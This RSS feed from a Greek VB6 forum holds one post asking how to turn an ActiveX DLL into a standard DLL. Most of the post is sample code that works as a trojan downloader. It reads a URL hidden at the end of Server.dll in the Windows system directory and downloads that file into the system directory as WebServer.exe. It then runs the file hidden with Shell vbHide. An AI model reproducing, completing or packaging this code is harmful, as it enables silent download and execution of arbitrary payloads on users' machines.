<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://www.dotnetzone.gr:443/cs/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Visual Basic 6.0</title><link>https://www.dotnetzone.gr:443/cs/forums/25/ShowForum.aspx</link><description>Θέματα που αφορούν την VB6 και COM components</description><dc:language>el</dc:language><generator>CommunityServer 2.1 SP3 (Build: 20423.1)</generator><item><title>Μετατροπη activex dll σε standalone dll</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/23385.aspx</link><pubDate>Fri, 12 Jan 2007 02:32:28 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:23385</guid><dc:creator>ntaryl</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/23385.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=25&amp;PostID=23385</wfw:commentRss><description>&lt;P&gt;Καλησπερα&amp;nbsp; παιδια&amp;nbsp;&amp;nbsp; &lt;/P&gt;
&lt;P&gt;Μετα απο πολυ καιρο ειπα να ποσταρω κατι&lt;/P&gt;
&lt;P&gt;Χρησιμοποιωντας το how to&amp;nbsp; που εχει ποσταρει παραπανω ο φιλος gkapnias&amp;nbsp; και&amp;nbsp; το αλλο how&amp;nbsp; to :http://www.vb-helper.com/howto_make_standard_dll.html&amp;nbsp;&amp;nbsp; καταφερα να κανω την&amp;nbsp; μετατροπη με επιτυχια.αυτο που θελω ειναι πως μπορω να καταφερω να το φτιαξω παλι αλλα στο παραδειγμα μου να υπαρχουν καποιες συναρητσεις αλλα και καποια api στην&amp;nbsp; κοπυφη&amp;nbsp; &lt;/P&gt;
&lt;P&gt;πχ&lt;/P&gt;
&lt;P&gt;---------------------αρχη --------------------------&lt;/P&gt;
&lt;P&gt;Option Explicit&lt;/P&gt;
&lt;P&gt;Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long&lt;BR&gt;Declare Function InternetCloseHandle Lib "wininet" (ByRef hInet As Long) As Long&lt;BR&gt;Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer&lt;BR&gt;Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long&lt;BR&gt;Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long&lt;/P&gt;
&lt;P&gt;Dim Path As String, DlBuffer As String&lt;BR&gt;Dim HwdOpen As Long, Dlfile As Long&lt;BR&gt;Dim Returned As Long&lt;BR&gt;Dim Url As String * 41&lt;BR&gt;Dim url1 As String&lt;/P&gt;
&lt;P&gt;Public Const scUserAgent = "example&amp;nbsp; "&lt;BR&gt;Public Const INTERNET_OPEN_TYPE_DIRECT = 1&lt;BR&gt;Public Const INTERNET_FLAG_RELOAD = &amp;amp;H80000000&lt;/P&gt;
&lt;P&gt;Public Sub Main()&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;Path = SystemDirectory &amp;amp; "\Server.dll"&lt;/P&gt;
&lt;P&gt;Open Path For Binary As #1&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Get #1, LOF(1) - 40, Url&lt;BR&gt;Close #1&lt;/P&gt;
&lt;P&gt;url1 = Left(Url, InStr(1, Url, "#") - 1)&lt;/P&gt;
&lt;P&gt;Path = SystemDirectory &amp;amp; "\WebServer.Exe"&lt;/P&gt;
&lt;P&gt;If Dir(Path) &amp;lt;&amp;gt; "" Then&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Kill (Path)&lt;BR&gt;End If&lt;/P&gt;
&lt;P&gt;DlBuffer = Space(1000)&lt;BR&gt;'creer la connection&lt;BR&gt;HwdOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)&lt;BR&gt;'ouvrir le site&lt;BR&gt;Dlfile = InternetOpenUrl(HwdOpen, url1, vbNullString, ByVal 0&amp;amp;, INTERNET_FLAG_RELOAD, ByVal 0&amp;amp;)&lt;BR&gt;'Read the first 1000 bytes of the file&lt;BR&gt;InternetReadFile Dlfile, DlBuffer, 1000, Returned&lt;BR&gt;Open Path For Binary As #1&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Put #1, , DlBuffer&lt;BR&gt;Close #1&lt;BR&gt;DoEvents&lt;BR&gt;'boucle jusqu'a ce que les data lu soit = 0&lt;BR&gt;Do While Returned &amp;lt;&amp;gt; 0&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; InternetReadFile Dlfile, DlBuffer, 1000, Returned&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Open Path For Binary As #1&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Put #1, LOF(1) + 1, DlBuffer&lt;BR&gt;Close #1&lt;BR&gt;DoEvents&lt;BR&gt;Loop&lt;BR&gt;InternetCloseHandle Dlfile&lt;BR&gt;InternetCloseHandle HwdOpen&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;Shell Path, vbHide&lt;/P&gt;
&lt;P&gt;End Sub&lt;/P&gt;
&lt;P&gt;Function SystemDirectory() As String&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim SysPath As String&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim temp As String&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SysPath = String(150, Chr(0))&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; temp = GetSystemDirectory(SysPath, 150)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SystemDirectory = Left(SysPath, InStr(SysPath, Chr(0)) - 1)&lt;BR&gt;End Function&lt;/P&gt;
&lt;P&gt;--------------Τελος&amp;nbsp; -------&lt;/P&gt;
&lt;P&gt;ευχαριστω&amp;nbsp; πολυ&amp;nbsp; για ολα&amp;nbsp;&amp;nbsp; &lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;</description></item></channel></rss>